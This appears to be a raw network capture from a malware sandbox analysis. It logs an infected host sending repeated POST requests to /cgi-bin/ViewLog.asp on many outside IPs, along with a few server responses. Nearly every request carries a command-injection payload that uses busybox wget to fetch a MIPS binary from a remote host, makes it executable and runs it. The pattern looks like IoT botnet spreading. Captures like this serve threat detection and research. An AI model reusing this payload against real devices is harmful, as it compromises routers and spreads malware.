Nov 23, 2023 05:15:14.286953926 CET	1257	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 23 Nov 2023 04:15:14 GMT Content-Type: text/html Content-Length: 152 Connection: close Location: https://192.168.0.14:8080/cgi-bin/ViewLog.asp X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body bgcolor="white"><center><h1>307 Temporary Redirect</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	44636	94.187.117.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:14.079641104 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	43846	31.200.7.0	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:14.082046986 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	39782	94.122.27.230	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:14.082372904 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	47922	62.202.158.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.546838999 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:21.638674021 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	60478	94.121.121.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.574071884 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	59788	94.253.16.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.577554941 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:17.812081099 CET	75	IN	HTTP/1.1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	38038	62.29.56.61	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.578794003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	50980	85.187.9.42	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.786859989 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:17.999159098 CET	278	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	59784	95.142.42.52	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:17.990797997 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:18.205878973 CET	1340	IN	HTTP/1.1 200 OK Date: Thu, 23 Nov 2023 04:15:18 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=31u84j15nqd7mvk52pq30vi1dn; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1328 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 18 db 6e dc 44 f4 b9 f9 8a 89 1f 10 88 8c bd a9 5a a8 c2 ee 56 22 34 12 15 a5 51 08 20 9e aa b1 3d eb 9d 64 ec 71 67 c6 7b 41 3c 44 45 e2 85 4a 45 f0 00 6f fc 42 54 14 51 68 1b 7e c1 fb 47 9c 19 db 7b bf 65 d3 aa 91 12 db 67 ce 6d ce fd 64 ab be fd d9 c3 fd e3 ef 0e ef a1 b6 8e 79 73 ab 5e 3c e0 49 49 d8 dc 42 f0 53 8f a9 26 28 68 13 a9 a8 6e 38 5f 1f 1f e0 3b ce c4 91 48 34 4d e0 a8 cb 42 dd 6e 84 b4 c3 02 8a ed c7 0e 62 09 d3 8c 70 ac 02 c2 69 63 77 07 c5 a4 c7 e2 2c 1e 01 32 45 a5 fd 22 3e 00 12 e1 a0 84 c4 b4 e1 74 18 ed a6 42 ea 4a 96 66 9a d3 66 fe 4b fe 7c f0 24 bf 1c 9c e5 2f f2 bf f3 f3 c1 4f f9 8b c1 33 f4 03 ca 7f cb 5f e6 e7 f9 f3 fc f5 e0 e7 fc 02 e5 bf 5a 9c 4b c0 3d 47 fb 47 0f ea 5e 41 5f f0 da c6 18 1d 10 d0 53 24 18 97 30 ce 92 53 24 29 6f 38 06 ec a0 b6 a4 ad 86 d3 2a b0 5c f8 e3 20 dd 4f 41 31 16 93 88 7a 3d 6c d1 c0 56 37 6e 14 b4 05 81 97 f2 2c 62 89 f2 4e 1e 67 54 f6 b1 4a 59 92 50 e9 05 4a 79 be 10 5a 69 49 d2 0a ea c6 2c 71 e1 c4 29 04 2b dd e7 54 b5 29 d5 95 2c 4d 7b da 90 82 9c 49 31 6d ad 53 b5 e7 79 2d 30 be 72 23 21 22 4e 49 ca 94 1b 88 d8 10 dc 6d 91 98 f1 7e e3 48 f8 42 8b bd 5b b5 da ce c7 b5 da 7b 2a f3 8d 17 39 d1 2c d9 09 fa 92 71 ce 02 0c 42 de b0 06 c6 36 95 0a 0f 88 a6 12 62 e0 c3 cf 01 b8 c1 55 87 16 1d 9a 6f d2 98 9b 19 70 c8 35 11 21 44 2b e9 50 e5 d9 bf d7 64 47 12 88 0f 4d b1 51 b1 7c df 90 a3 e1 60 f1 af 41 1f 64 4a 8b f8 1a 0c 74 9b c6 60 19 c2 39 2e 5e 37 e4 e5 05 60 66 b7 c8 09 1b 21 19 f3 76 dd dd 9b ee 6e 25 c2 27 8a 56 49 93 b1 b5 c5 40 ad f2 8a 62 55 f7 45 d8 47 01 27 4a 35 1c 2e c0 1b 38 85 4c 45 96 3f e6 2c 6a 6b ec f3 8c 3a 63 45 e0 d0 20 7c 21 48 48 25 1a 56 82 90 75 2a 36 86 01 e6 f6 1c 77 21 d6 52 2a 4b f2 69 cc 02 69 ec 70 86 15 5c 66 1e ce 34 5e 59 1a 30 27 7d 50 2a e5 58 d2 70 0e c9 34 59 c0 64 c0 21 ec 38 33 4a 22 4e 5b 7a 01 d5 7c 4a a7 59 f7 00 b8 40 d0 92 a3 c5 3a 48 63 f2 b7 ae c4 1c f0 3c 50 da cc 7f 87 fe f0 d7 e0 6c f0 23 34 8e 7f f3 73 d7 75 eb 5e 3a e6 cd 11 55 f9 0a 41 3c e5 63 13 54 be e8 2d 8c 81 48 4c 47 00 29 33 e0 84 74 88 0a 24 4b f5 5e 47 b0 f0 fd da 07 9f c0 6d 59 1c 21 25 03 48 10 db 55 94 67 58 b8 69 12 19 4b 90 b9 ba cd 58 8e c8 e9 f8 18 3f 36 49 31 2f e2 5a 42 c6 88 85 10 6f 2c 4a 1e 31 68 78 d0 cc db 02 00 87 0f bf 3a 5e 23 e0 62 05 4a ce 6f c7 6b 86 0b 4b d2 4c e3 48 8a 2c 5d 16 25 2a 25 c9 1c 12 4c c2 d0 36 e0 45 84 96 98 0d d5 2d bb 90 6d db 50 39 20 40 95 48 ea 1e 5b 22 d9 33 a2 d7 8b 5f 63 4e a8 31 09 5d a9 90 b9 c1 58 1d 73 26 38 98 59 4a 0a 5e cd 40 36 e0 1c 28 02 24 a0 6d c1 a1 78 34 9c fc Data Ascii: nDZV"4Q =dqg{A<DEJEoBTQh~G{egmdys^<IIBS&(hn8_;H4MBnbpicw,2E">tBJffK\|$/O3_ZK=GG^A_S$0S$)o8\ OA1z=lV7n,bNgTJYPJyZiI,q)+T),M{I1mSy-0r#!"NIm~HB[{9,qB6bUop5!D+PdGMQ\|`AdJt`9.^7`f!vn%'VI@bUEG'J5.8LE?,jk:cE \|!HH%Vu6w!RKiip\f4^Y0'}PXp4Yd!83J"N[z\|JY@:Hc<Pl#4su^:UA<cT-HLG)3t$K^GmY!%HUgXiKX?6I1/ZBo,J1hx:^#bJokKLH,]%%L6E-mP9 @H["3_cN1]Xs&8YJ^@6($mx4

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	45762	94.122.68.175	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:18.005858898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	50294	85.153.151.55	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:18.013065100 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:18.243282080 CET	239	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1095 Date: Thu, 23 Nov 2023 04:15:17 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	58396	94.121.119.133	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:18.021228075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	55374	95.86.124.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:18.021361113 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	41988	94.122.235.40	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:18.030504942 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	51886	31.136.225.81	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:20.972875118 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:21.542665005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:22.694659948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:25.222748041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
